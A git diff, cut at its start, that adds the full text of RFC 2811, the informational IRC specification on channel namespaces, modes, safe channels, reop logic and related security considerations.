+   English.
+
+   The limited permissions granted above are perpetual and will not be
+   revoked by the Internet Society or its successors or assigns.
+
+   This document and the information contained herein is provided on an
+   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
+   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
+   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
+   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
+   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+Acknowledgement
+
+   Funding for the RFC Editor function is currently provided by the
+   Internet Society.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 10]
+
diff --git a/rfc/rfc2811.txt b/rfc/rfc2811.txt
new file mode 100644
index 0000000..7c2c4ea
--- /dev/null
+++ b/rfc/rfc2811.txt
@@ -0,0 +1,1067 @@
+
+
+
+
+
+
+Network Working Group                                            C. Kalt
+Request for Comments: 2811                                    April 2000
+Updates: 1459
+Category: Informational
+
+
+                Internet Relay Chat: Channel Management
+
+Status of this Memo
+
+   This memo provides information for the Internet community.  It does
+   not specify an Internet standard of any kind.  Distribution of this
+   memo is unlimited.
+
+Copyright Notice
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+Abstract
+
+   One of the most notable characteristics of the IRC (Internet Relay
+   Chat) protocol is to allow for users to be grouped in forums, called
+   channels, providing a mean for multiple users to communicate
+   together.
+
+   There was originally a unique type of channels, but with the years,
+   new types appeared either as a response to a need, or for
+   experimental purposes.
+
+   This document specifies how channels, their characteristics and
+   properties are managed by IRC servers.
+
+Table of Contents
+
+   1.  Introduction ...............................................   2
+   2.  Channel Characteristics ....................................   3
+      2.1  Namespace ..............................................   3
+      2.2  Channel Scope ..........................................   3
+      2.3  Channel Properties .....................................   4
+      2.4  Privileged Channel Members .............................   4
+         2.4.1  Channel Operators .................................   5
+         2.4.2  Channel Creator ...................................   5
+   3.  Channel lifetime ...........................................   5
+      3.1  Standard channels ......................................   5
+      3.2  Safe Channels ..........................................   6
+   4.  Channel Modes ..............................................   7
+      4.1  Member Status ..........................................   7
+         4.1.1  "Channel Creator" Status ..........................   7
+
+
+
+Kalt                         Informational                      [Page 1]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+         4.1.2  Channel Operator Status ...........................   8
+         4.1.3  Voice Privilege ...................................   8
+      4.2  Channel Flags ..........................................   8
+         4.2.1  Anonymous Flag ....................................   8
+         4.2.2  Invite Only Flag ..................................   8
+         4.2.3  Moderated Channel Flag ............................   9
+         4.2.4  No Messages To Channel From Clients On The Outside    9
+         4.2.5  Quiet Channel .....................................   9
+         4.2.6  Private and Secret Channels .......................   9
+         4.2.7  Server Reop Flag ..................................  10
+         4.2.8  Topic .............................................  10
+         4.2.9  User Limit ........................................  10
+         4.2.10  Channel Key ......................................  10
+      4.3  Channel Access Control .................................  10
+         4.3.1  Channel Ban and Exception .........................  11
+         4.3.2  Channel Invitation ................................  11
+   5.  Current Implementations ....................................  11
+      5.1  Tracking Recently Used Channels ........................  11
+      5.2  Safe Channels ..........................................  12
+         5.2.1  Channel Identifier ................................  12
+         5.2.2  Channel Delay .....................................  12
+         5.2.3  Abuse Window ......................................  13
+         5.2.4  Preserving Sanity In The Name Space ...............  13
+         5.2.5  Server Reop Mechanism .............................  13
+   6.  Current problems ...........................................  14
+      6.1  Labels .................................................  14
+         6.1.1  Channel Delay .....................................  14
+         6.1.2  Safe Channels .....................................  15
+      6.2  Mode Propagation Delays ................................  15
+      6.3  Collisions And Channel Modes ...........................  15
+      6.4  Resource Exhaustion ....................................  16
+   7.  Security Considerations ....................................  16
+      7.1  Access Control .........................................  16
+      7.2  Channel Privacy ........................................  16
+      7.3 Anonymity ...............................................  17
+   8.  Current support and availability ...........................  17
+   9.  Acknowledgements ...........................................  17
+   10. References ................................................   18
+   11. Author's Address ..........................................   18
+   12. Full Copyright Statement ...................................  19
+
+1. Introduction
+
+   This document defines in detail on how channels are managed by the
+   IRC servers and will be mostly useful to people working on
+   implementing an IRC server.
+
+
+
+
+
+Kalt                         Informational                      [Page 2]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   While the concepts defined here are an important part of IRC, they
+   remain non essential for implementing clients.  While the trend seems
+   to be towards more and more complex and "intelligent" clients which
+   are able to take advantage of knowing the internal workings of
+   channels to provide the users with a more friendly interface, simple
+   clients can be implemented without reading this document.
+
+   Many of the concepts defined here were designed with the IRC
+   architecture [IRC-ARCH] in mind and mostly make sense in this
+   context.  However, many others could be applied to other
+   architectures in order to provide forums for a conferencing system.
+
+   Finally, it is to be noted that IRC users may find some of the
+   following sections of interest, in particular sections 2 (Channel
+   Characteristics) and 4 (Channel Modes).
+
+2. Channel Characteristics
+
+   A channel is a named group of one or more users which will all
+   receive messages addressed to that channel.  A channel is
+   characterized by its name, properties and current members.
+
+2.1 Namespace
+
+   Channels names are strings (beginning with a '&', '#', '+' or '!'
+   character) of length up to fifty (50) characters.  Channel names are
+   case insensitive.
+
+   Apart from the the requirement that the first character being either
+   '&', '#', '+' or '!' (hereafter called "channel prefix"). The only
+   restriction on a channel name is that it SHALL NOT contain any spaces
+   (' '), a control G (^G or ASCII 7), a comma (',' which is used as a
+   list item separator by the protocol).  Also, a colon (':') is used as
+   a delimiter for the channel mask.  The exact syntax of a channel name
+   is defined in "IRC Server Protocol" [IRC-SERVER].
+
+   The use of different prefixes effectively creates four (4) distinct
+   namespaces for channel names.  This is important because of the
+   protocol limitations regarding namespaces (in general).  See section
+   6.1 (Labels) for more details on these limitations.
+
+2.2 Channel Scope
+
+   A channel entity is known by one or more servers on the IRC network.
+   A user can only become member of a channel known by the server to
+   which the user is directly connected.  The list of servers which know
+
+
+
+
+
+Kalt                         Informational                      [Page 3]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   of the existence of a particular channel MUST be a contiguous part of
+   the IRC network, in order for the messages addressed to the channel
+   to be sent to all the channel members.
+
+   Channels with '&' as prefix are local to the server where they are
+   created.
+
+   Other channels are known to one (1) or more servers that are
+   connected to the network, depending on the channel mask:
+
+      If there is no channel mask, then the channel is known to all
+      the servers.
+
+      If there is a channel mask, then the channel MUST only be known
+      to servers which has a local user on the channel, and to its
+      neighbours if the mask matches both the local and neighbouring
+      server names.  Since other servers have absolutely no knowledge of
+      the existence of such a channel, the area formed by the servers
+      having a name matching the mask has to be contiguous for the
+      channel to be known by all these servers.  Channel masks are best
+      used in conjunction with server hostmasking [IRC-SERVER].
+
+2.3 Channel Properties
+
+   Each channel has its own properties, which are defined by channel
+   modes.  Channel modes can be manipulated by the channel members.  The
+   modes affect the way servers manage the channels.
+
+   Channels with '+' as prefix do not support channel modes.  This means
+   that all the modes are unset, with the exception of the 't' channel
+   flag which is set.
+
+2.4 Privileged Channel Members
+
+   In order for the channel members to keep some control over a channel,
+   and some kind of sanity, some channel members are privileged.  Only
+   these members are allowed to perform the following actions on the
+   channel:
+
+        INVITE  - Invite a client to an invite-only channel (mode +i)
+        KICK    - Eject a client from the channel
+        MODE    - Change the channel's mode, as well as
+                  members' privileges
+        PRIVMSG - Sending messages to the channel (mode +n, +m, +v)
+        TOPIC   - Change the channel topic in a mode +t channel
+
+
+
+
+
+
+Kalt                         Informational                      [Page 4]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+2.4.1 Channel Operators
+
+   The channel operators (also referred to as a "chop" or "chanop") on a
+   given channel are considered to 'own' that channel.  Ownership of a
+   channel is shared among channel operators.
+
+   Channel operators are identified by the '@' symbol next to their
+   nickname whenever it is associated with a channel (i.e., replies to
+   the NAMES, WHO and WHOIS commands).
+
+   Since channels starting with the character '+' as prefix do not
+   support channel modes, no member can therefore have the status of
+   channel operator.
+
+2.4.2 Channel Creator
+
+   A user who creates a channel with the character '!' as prefix is
+   identified as the "channel creator".  Upon creation of the channel,
+   this user is also given channel operator status.
+
+   In recognition of this status, the channel creators are endowed with
+   the ability to toggle certain modes of the channel which channel
+   operators may not manipulate.
+
+   A "channel creator" can be distinguished from a channel operator by
+   issuing the proper MODE command.  See the "IRC Client Protocol"
+   [IRC-CLIENT] for more information on this topic.
+
+3. Channel lifetime
+
+   In regard to the lifetime of a channel, there are typically two
+   groups of channels: standard channels which prefix is either '&', '#'
+   or '+', and "safe channels" which prefix is '!'.
+
+3.1 Standard channels
+
+   These channels are created implicitly when the first user joins it,
+   and cease to exist when the last user leaves it.  While the channel
+   exists, any client can reference the channel using the name of the
+   channel.
+
+   The user creating a channel automatically becomes channel operator
+   with the notable exception of channels which name is prefixed by the
+   character '+', see section 4 (Channel modes).  See section 2.4.1
+   (Channel Operators) for more details on this title.
+
+
+
+
+
+
+Kalt                         Informational                      [Page 5]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   In order to avoid the creation of duplicate channels (typically when
+   the IRC network becomes disjoint because of a split between two
+   servers), channel names SHOULD NOT be allowed to be reused by a user
+   if a channel operator (See Section 2.4.1 (Channel Operators)) has
+   recently left the channel because of a network split.  If this
+   happens, the channel name is temporarily unavailable.  The duration
+   while a channel remains unavailable should be tuned on a per IRC
+   network basis.  It is important to note that this prevents local
+   users from creating a channel using the same name, but does not
+   prevent the channel to be recreated by a remote user. The latter
+   typically happens when the IRC network rejoins.  Obviously, this
+   mechanism only makes sense for channels which name begins with the
+   character '#', but MAY be used for channels which name begins with
+   the character '+'.  This mechanism is commonly known as "Channel
+   Delay".
+
+3.2 Safe Channels
+
+   Unlike other channels, "safe channels" are not implicitly created.  A
+   user wishing to create such a channel MUST request the creation by
+   sending a special JOIN command to the server in which the channel
+   identifier (then unknown) is replaced by the character '!'.  The
+   creation process for this type of channel is strictly controlled.
+   The user only chooses part of the channel name (known as the channel
+   "short name"), the server automatically prepends the user provided
+   name with a channel identifier consisting of five (5) characters.
+   The channel name resulting from the combination of these two elements
+   is unique, making the channel safe from abuses based on network
+   splits.
+
+   The user who creates such a channel automatically becomes "channel
+   creator".  See section 2.4.2 (Channel Creator) for more details on
+   this title.
+
+   A server MUST NOT allow the creation of a new channel if another
+   channel with the same short name exists; or if another channel with
+   the same short name existed recently AND any of its member(s) left
+   because of a network split.  Such channel ceases to exist after last
+   user leaves AND no other member recently left the channel because of
+   a network split.
+
+   Unlike the mechanism described in section 5.2.2 (Channel Delay), in
+   this case, channel names do not become unavailable: these channels
+   may continue to exist after the last user left.  Only the user
+   creating the channel becomes "channel creator", users joining an
+   existing empty channel do not automatically become "channel creator"
+   nor "channel operator".
+
+
+
+
+Kalt                         Informational                      [Page 6]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   To ensure the uniqueness of the channel names, the channel identifier
+   created by the server MUST follow specific rules.  For more details
+   on this, see section 5.2.1 (Channel Identifier).
+
+4. Channel Modes
+
+   The various modes available for channels are as follows:
+
+        O - give "channel creator" status;
+        o - give/take channel operator privilege;
+        v - give/take the voice privilege;
+
+        a - toggle the anonymous channel flag;
+        i - toggle the invite-only channel flag;
+        m - toggle the moderated channel;
+        n - toggle the no messages to channel from clients on the
+            outside;
+        q - toggle the quiet channel flag;
+        p - toggle the private channel flag;
+        s - toggle the secret channel flag;
+        r - toggle the server reop channel flag;
+        t - toggle the topic settable by channel operator only flag;
+
+        k - set/remove the channel key (password);
+        l - set/remove the user limit to channel;
+
+        b - set/remove ban mask to keep users out;
+        e - set/remove an exception mask to override a ban mask;
+        I - set/remove an invitation mask to automatically override
+            the invite-only flag;
+
+   Unless mentioned otherwise below, all these modes can be manipulated
+   by "channel operators" by using the MODE command defined in "IRC
+   Client Protocol" [IRC-CLIENT].
+
+4.1 Member Status
+
+   The modes in this category take a channel member nickname as argument
+   and affect the privileges given to this user.
+
+4.1.1 "Channel Creator" Status
+
+   The mode 'O' is only used in conjunction with "safe channels" and
+   SHALL NOT be manipulated by users.  Servers use it to give the user
+   creating the channel the status of "channel creator".
+
+
+
+
+
+
+Kalt                         Informational                      [Page 7]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+4.1.2 Channel Operator Status
+
+   The mode 'o' is used to toggle the operator status of a channel
+   member.
+
+4.1.3 Voice Privilege
+
+   The mode 'v' is used to give and take voice privilege to/from a
+   channel member.  Users with this privilege can talk on moderated
+   channels.  (See section 4.2.3 (Moderated Channel Flag).
+
+4.2 Channel Flags
+
+   The modes in this category are used to define properties which
+   affects how channels operate.
+
+4.2.1 Anonymous Flag
+
+   The channel flag 'a' defines an anonymous channel.  This means that
+   when a message sent to the channel is sent by the server to users,
+   and the origin is a user, then it MUST be masked.  To mask the
+   message, the origin is changed to "anonymous!anonymous@anonymous."
+   (e.g., a user with the nickname "anonymous", the username "anonymous"
+   and from a host called "anonymous.").  Because of this, servers MUST
+   forbid users from using the nickname "anonymous".  Servers MUST also
+   NOT send QUIT messages for users leaving such channels to the other
+   channel members but generate a PART message instead.
+
+   On channels with the character '&' as prefix, this flag MAY be
+   toggled by channel operators, but on channels with the character '!'
+   as prefix, this flag can be set (but SHALL NOT be unset) by the
+   "channel creator" only.  This flag MUST NOT be made available on
+   other types of channels.
+
+   Replies to the WHOIS, WHO and NAMES commands MUST NOT reveal the
+   presence of other users on channels for which the anonymous flag is
+   set.
+
+4.2.2 Invite Only Flag
+
+   When the channel flag 'i' is set, new members are only accepted if
+   their mask matches Invite-list (See section 4.3.2) or they have been
+   invited by a channel operator.  This flag also restricts the usage of
+   the INVITE command (See "IRC Client Protocol" [IRC-CLIENT]) to
+   channel operators.
+
+
+
+
+
+
+Kalt                         Informational                      [Page 8]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+4.2.3 Moderated Channel Flag
+
+   The channel flag 'm' is used to control who may speak on a channel.
+   When it is set, only channel operators, and members who have been
+   given the voice privilege may send messages to the channel.
+
+      This flag only affects users.
+
+4.2.4 No Messages To Channel From Clients On The Outside
+
+   When the channel flag 'n' is set, only channel members MAY send
+   messages to the channel.
+
+      This flag only affects users.
+
+4.2.5 Quiet Channel
+
+   The channel flag 'q' is for use by servers only.  When set, it
+   restricts the type of data sent to users about the channel
+   operations: other user joins, parts and nick changes are not sent.
+   From a user's point of view, the channel contains only one user.
+
+   This is typically used to create special local channels on which the
+   server sends notices related to its operations.  This was used as a
+   more efficient and flexible way to replace the user mode 's' defined
+   in RFC 1459 [IRC].
+
+4.2.6 Private and Secret Channels
+
+   The channel flag 'p' is used to mark a channel "private" and the
+   channel flag 's' to mark a channel "secret".  Both properties are
+   similar and conceal the existence of the channel from other users.
+
+   This means that there is no way of getting this channel's name from
+   the server without being a member.  In other words, these channels
+   MUST be omitted from replies to queries like the WHOIS command.
+
+   When a channel is "secret", in addition to the restriction above, the
+   server will act as if the channel does not exist for queries like the
+   TOPIC, LIST, NAMES commands.  Note that there is one exception to
+   this rule: servers will correctly reply to the MODE command.
+   Finally, secret channels are not accounted for in the reply to the
+   LUSERS command (See "Internet Relay Chat: Client Protocol" [IRC-
+   CLIENT]) when the <mask> parameter is specified.
+
+
+
+
+
+
+
+Kalt                         Informational                      [Page 9]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   The channel flags 'p' and 's' MUST NOT both be set at the same time.
+   If a MODE message originating from a server sets the flag 'p' and the
+   flag 's' is already set for the channel, the change is silently
+   ignored.  This should only happen during a split healing phase
+   (mentioned in the "IRC Server Protocol" document [IRC-SERVER]).
+
+4.2.7 Server Reop Flag
+
+   The channel flag 'r' is only available on channels which name begins
+   with the character '!' and MAY only be toggled by the "channel
+   creator".
+
+   This flag is used to prevent a channel from having no channel
+   operator for an extended period of time.  When this flag is set, any
+   channel that has lost all its channel operators for longer than the
+   "reop delay" period triggers a mechanism in servers to reop some or
+   all of the channel inhabitants.  This mechanism is described more in
+   detail in section 5.2.4 (Channel Reop Mechanism).
+
+4.2.8 Topic
+
+   The channel flag 't' is used to restrict the usage of the TOPIC
+   command to channel operators.
+
+4.2.9 User Limit
+
+   A user limit may be set on channels by using the channel flag 'l'.
+   When the limit is reached, servers MUST forbid their local users to
+   join the channel.
+
+   The value of the limit MUST only be made available to the channel
+   members in the reply sent by the server to a MODE query.
+
+4.2.10 Channel Key
+
+   When a channel key is set (by using the mode 'k'), servers MUST
+   reject their local users request to join the channel unless this key
+   is given.
+
+   The channel key MUST only be made visible to the channel members in
+   the reply sent by the server to a MODE query.
+
+4.3 Channel Access Control
+
+   The last category of modes is used to control access to the channel,
+   they take a mask as argument.
+
+
+
+
+
+Kalt                         Informational                     [Page 10]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   In order to reduce the size of the global database for control access
+   modes set for channels, servers MAY put a maximum limit on the number
+   of such modes set for a particular channel.  If such restriction is
+   imposed, it MUST only affect user requests.  The limit SHOULD be
+   homogeneous on a per IRC network basis.
+
+4.3.1 Channel Ban and Exception
+
+   When a user requests to join a channel, his local server checks if
+   the user's address matches any of the ban masks set for the channel.
+   If a match is found, the user request is denied unless the address
+   also matches an exception mask set for the channel.
+
+   Servers MUST NOT allow a channel member who is banned from the
+   channel to speak on the channel, unless this member is a channel
+   operator or has voice privilege. (See Section 4.1.3 (Voice
+   Privilege)).
+
+   A user who is banned from a channel and who carries an invitation
+   sent by a channel operator is allowed to join the channel.
+
+4.3.2 Channel Invitation
+
+   For channels which have the invite-only flag set (See Section 4.2.2
+   (Invite Only Flag)), users whose address matches an invitation mask
+   set for the channel are allowed to join the channel without any
+   invitation.
+
+5. Current Implementations
+
+   The only current implementation of these rules as part of the IRC
+   protocol is the IRC server, version 2.10.
+
+   The rest of this section deals with issues that are mostly of
+   importance to those who wish to implement a server but some parts may
+   also be of interest for client writers.
+
+5.1 Tracking Recently Used Channels
+
+   This mechanism is commonly known as "Channel Delay" and generally
+   only applies to channels which names is prefixed with the character
+   '#' (See Section 3.1 "Standard channels").
+
+   When a network split occurs, servers SHOULD keep track of which
+   channels lost a "channel operator" as the result of the break.  These
+   channels are then in a special state which lasts for a certain period
+   of time.  In this particular state, the channels cannot cease to
+
+
+
+
+Kalt                         Informational                     [Page 11]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   exist.  If all the channel members leave the channel, the channel
+   becomes unavailable: the server local clients cannot join the channel
+   as long as it is empty.
+
+   Once a channel is unavailable, it will become available again either
+   because a remote user has joined the channel (most likely because the
+   network is healing), or because the delay period has expired (in
+   which case the channel ceases to exist and may be re-created).
+
+   The duration for which a channel death is delayed SHOULD be set
+   considering many factors among which are the size (user wise) of the
+   IRC network, and the usual duration of network splits.  It SHOULD be
+   uniform on all servers for a given IRC network.
+
+5.2 Safe Channels
+
+   This document introduces the notion of "safe channels".  These
+   channels have a name prefixed with the character '!' and great effort
+   is made to avoid collisions in this name space.  Collisions are not
+   impossible, however they are very unlikely.
+
+5.2.1 Channel Identifier
+
+   The channel identifier is a function of the time.  The current time
+   (as defined under UNIX by the number of seconds elapsed since
+   00:00:00 GMT, January 1, 1970) is converted in a string of five (5)
+   characters using the following base:
+   "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" (each character has a decimal
+   value starting from 0 for 'A' to 35 for '0').
+
+   The channel identifier therefore has a periodicity of 36^5 seconds
+   (about 700 days).
+
+5.2.2 Channel Delay
+
+   These channels MUST be subject to the "channel delay" mechanism
+   described in section 5.1 (Channel Delay).  However, the mechanism is
+   slightly adapted to fit better.
+
+   Servers MUST keep track of all such channels which lose members as
+   the result of a network split, no matter whether the user is a
+   "channel operator" or not.
+
+   However, these channels do NOT ever become unavailable, it is always
+   possible to join them even when they are empty.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 12]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+5.2.3 Abuse Window
+
+   Because the periodicity is so long, attacks on a particular channel
+   (name) may only occur once in a very long while.  However, with luck
+   and patience, it is still possible for a user to cause a channel
+   collision.  In order to avoid this, servers MUST "look in the future"
+   and keep a list of channel names which identifier is about to be used
+   (in the coming few days for example). Such list should remain small,
+   not be a burden for servers to maintain and be used to avoid channel
+   collisions by preventing the re-creation of such channel for a longer
+   period of time than channel delay does.
+
+   Eventually a server MAY choose to extend this procedure to forbid
+   creation of channels with the same shortname only (then ignoring the
+   channel identifier).
+
+5.2.4 Preserving Sanity In The Name Space
+
+   The combination of the mechanisms described in sections 5.2.2 and
+   5.2.3 makes it quite difficult for a user to create a channel
+   collision. However, another type of abuse consists of creating many
+   channels having the same shortname, but different identifiers.  To
+   prevent this from happening, servers MUST forbid the creation of a
+   new channel which has the same shortname of a channel currently
+   existing.
+
+5.2.5 Server Reop Mechanism
+
+   When a channel has been opless for longer than the "reop delay"
+   period and has the channel flag 'r' set (See Section 4.2.7 (Server
+   Reop Flag)), IRC servers are responsible for giving the channel
+   operator status randomly to some of the members.
+
+   The exact logic used for this mechanism by the current implementation
+   is described below.  Servers MAY use a different logic, but that it
+   is strongly RECOMMENDED that all servers use the same logic on a
+   particular IRC network to maintain coherence as well as fairness.
+   For the same reason, the "reop delay" SHOULD be uniform on all
+   servers for a given IRC network.  As for the "channel delay", the
+   value of the "reop delay" SHOULD be set considering many factors
+   among which are the size (user wise) of the IRC network, and the
+   usual duration of network splits.
+
+   a) the reop mechanism is triggered after a random time following the
+      expiration of the "reop delay".  This should limit the eventuality
+      of the mechanism being triggered at the same time (for the same
+      channel) on two separate servers.
+
+
+
+
+Kalt                         Informational                     [Page 13]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   b) If the channel is small (five (5) users or less), and the "channel
+      delay" for this channel has expired,
+        Then reop all channel members if at least one member is local to
+        the server.
+
+   c) If the channel is small (five (5) users or less), and the "channel
+      delay" for this channel has expired, and the "reop delay" has
+      expired for longer than its value,
+        Then reop all channel members.
+
+   d) For other cases, reop at most one member on the channel, based on
+      some method build into the server. If you don't reop a member, the
+      method should be such that another server will probably op
+      someone. The method SHOULD be the same over the whole network. A
+      good heuristic could be just random reop.
+      (The current implementation actually tries to choose a member
+      local to the server who has not been idle for too long, eventually
+      postponing action, therefore letting other servers have a chance
+      to find a "not too idle" member.  This is over complicated due to
+      the fact that servers only know the "idle" time of their local
+      users)
+
+6. Current problems
+
+   There are a number of recognized problems with the way IRC channels
+   are managed.  Some of these can be directly attributed to the rules
+   defined in this document, while others are the result of the
+   underlying "IRC Server Protocol" [IRC-SERVER].  Although derived from
+   RFC 1459 [IRC], this document introduces several novelties in an
+   attempt to solve some of the known problems.
+
+6.1 Labels
+
+   This document defines one of the many labels used by the IRC
+   protocol.  Although there are several distinct namespaces (based on
+   the channel name prefix), duplicates inside each of these are not
+   allowed.  Currently, it is possible for users on different servers to
+   pick the label which may result in collisions (with the exception of
+   channels known to only one server where they can be averted).
+
+6.1.1 Channel Delay
+
+   The channel delay mechanism described in section 5.1 (Tracking
+   Recently Used Channels) and used for channels prefixed with the
+   character '#' is a simple attempt at preventing collisions from
+   happening.  Experience has shown that, under normal circumstances, it
+
+
+
+
+
+Kalt                         Informational                     [Page 14]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   is very efficient; however, it obviously has severe limitations
+   keeping it from being an adequate solution to the problem discussed
+   here.
+
+6.1.2 Safe Channels
+
+   "Safe channels" described in section 3.2 (Safe Channels) are a better
+   way to prevent collisions from happening as it prevents users from
+   having total control over the label they choose.  The obvious
+   drawback for such labels is that they are not user friendly.
+   However, it is fairly trivial for a client program to improve on
+   this.
+
+6.2 Mode Propagation Delays
+
+   Because of network delays induced by the network, and because each
+   server on the path is REQUIRED to check the validity of mode changes
+   (e.g., user exists and has the right privileges), it is not unusual
+   for a MODE message to only affect part of the network, often creating
+   a discrepancy between servers on the current state of a channel.
+
+   While this may seem easy to fix (by having only the original server
+   check the validity of mode changes), it was decided not to do so for
+   various reasons.  One concern is that servers cannot trust each
+   other, and that a misbehaving servers can easily be detected.  This
+   way of doing so also stops wave effects on channels which are out of
+   synch when mode changes are issued from different directions.
+
+6.3 Collisions And Channel Modes
+
+   The "Internet Relay Chat: Server Protocol" document [IRC-SERVER]
+   describes how channel data is exchanged when two servers connect to
+   each other.  Channel collisions (either legitimate or not) are
+   treated as inclusive events, meaning that the resulting channel has
+   for members all the users who are members of the channel on either
+   server prior to the connection.
+
+   Similarly, each server sends the channel modes to the other one.
+   Therefore, each server also receives these channel modes.  There are
+   three types of modes for a given channel: flags, masks, and data.
+   The first two types are easy to deal with as they are either set or
+   unset.  If such a mode is set on one server, it MUST be set on the
+   other server as a result of the connection.
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 15]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+   As topics are not sent as part of this exchange, they are not a
+   problem.  However, channel modes 'l' and 'k' are exchanged, and if
+   they are set on both servers prior to the connection, there is no
+   mechanism to decide which of the two values takes precedence.  It is
+   left up to the users to fix the resulting discrepancy.
+
+6.4 Resource Exhaustion
+
+   The mode based on masks defined in section 4.3 make the IRC servers
+   (and network) vulnerable to a simple abuse of the system: a single
+   channel operator can set as many different masks as possible on a
+   particular channel.  This can easily cause the server to waste
+   memory, as well as network bandwidth (since the info is propagated to
+   other servers).  For this reason it is RECOMMENDED that a limit be
+   put on the number of such masks per channels as mentioned in section
+   4.3.
+
+   Moreover, more complex mechanisms MAY be used to avoid having
+   redundant masks set for the same channel.
+
+7. Security Considerations
+
+7.1 Access Control
+
+   One of the main ways to control access to a channel is to use masks
+   which are based on the username and hostname of the user connections.
+   This mechanism can only be efficient and safe if the IRC servers have
+   an accurate way of authenticating user connections, and if users
+   cannot easily get around it.  While it is in theory possible to
+   implement such a strict authentication mechanism, most IRC networks
+   (especially public networks) do not have anything like this in place
+   and provide little guaranty about the accuracy of the username and
+   hostname for a particular client connection.
+
+   Another way to control access is to use a channel key, but since this
+   key is sent in plaintext, it is vulnerable to traditional man in the
+   middle attacks.
+
+7.2 Channel Privacy
+
+   Because channel collisions are treated as inclusive events (See
+   Section 6.3), it is possible for users to join a channel overriding
+   its access control settings.  This method has long been used by
+   individuals to "take over" channels by "illegitimately" gaining
+   channel operator status on the channel.  The same method can be used
+   to find out the exact list of members of a channel, as well as to
+   eventually receive some of the messages sent to the channel.
+
+
+
+
+Kalt                         Informational                     [Page 16]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+7.3 Anonymity
+
+   The anonymous channel flag (See Section 4.2.1) can be used to render
+   all users on such channel "anonymous" by presenting all messages to
+   the channel as originating from a pseudo user which nickname is
+   "anonymous".  This is done at the client-server level, and no
+   anonymity is provided at the server-server level.
+
+   It should be obvious to readers, that the level of anonymity offered
+   is quite poor and insecure, and that clients SHOULD display strong
+   warnings for users joining such channels.
+
+8. Current support and availability
+
+     Mailing lists for IRC related discussion:
+       General discussion: ircd-users@irc.org
+       Protocol development: ircd-dev@irc.org
+
+     Software implementations:
+       ftp://ftp.irc.org/irc/server
+       ftp://ftp.funet.fi/pub/unix/irc
+       ftp://coombs.anu.edu.au/pub/irc
+
+     Newsgroup: alt.irc
+
+9. Acknowledgements
+
+   Parts of this document were copied from the RFC 1459 [IRC] which
+   first formally documented the IRC Protocol.  It has also benefited
+   from many rounds of review and comments.  In particular, the
+   following people have made significant contributions to this
+   document:
+
+   Matthew Green, Michael Neumayer, Volker Paulsen, Kurt Roeckx, Vesa
+   Ruokonen, Magnus Tjernstrom, Stefan Zehl.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 17]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+10. References
+
+   [KEYWORDS]   Bradner, S., "Key words for use in RFCs to Indicate
+                Requirement Levels", BCP 14, RFC 2119, March 1997.
+
+   [IRC]        Oikarinen, J. and D. Reed, "Internet Relay Chat
+                Protocol", RFC 1459, May 1993.
+
+   [IRC-ARCH]   Kalt, C., "Internet Relay Chat: Architecture", RFC 2810,
+                April 2000.
+
+   [IRC-CLIENT] Kalt, C., "Internet Relay Chat: Client Protocol", RFC
+                2812, April 2000.
+
+   [IRC-SERVER] Kalt, C., "Internet Relay Chat: Server Protocol", RFC
+                2813, April 2000.
+
+11. Author's Address
+
+   Christophe Kalt
+   99 Teaneck Rd, Apt #117
+   Ridgefield Park, NJ 07660
+   USA
+
+   EMail: kalt@stealth.net
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 18]
+
+RFC 2811        Internet Relay Chat: Channel Management       April 2000
+
+
+12.  Full Copyright Statement
+
+   Copyright (C) The Internet Society (2000).  All Rights Reserved.
+
+   This document and translations of it may be copied and furnished to
+   others, and derivative works that comment on or otherwise explain it
+   or assist in its implementation may be prepared, copied, published
+   and distributed, in whole or in part, without restriction of any
+   kind, provided that the above copyright notice and this paragraph are
+   included on all such copies and derivative works.  However, this
+   document itself may not be modified in any way, such as by removing
+   the copyright notice or references to the Internet Society or other
+   Internet organizations, except as needed for the purpose of
+   developing Internet standards in which case the procedures for
+   copyrights defined in the Internet Standards process must be
+   followed, or as required to translate it into languages other than
+   English.
+
+   The limited permissions granted above are perpetual and will not be
+   revoked by the Internet Society or its successors or assigns.
+
+   This document and the information contained herein is provided on an
+   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
+   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
+   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
+   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
+   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
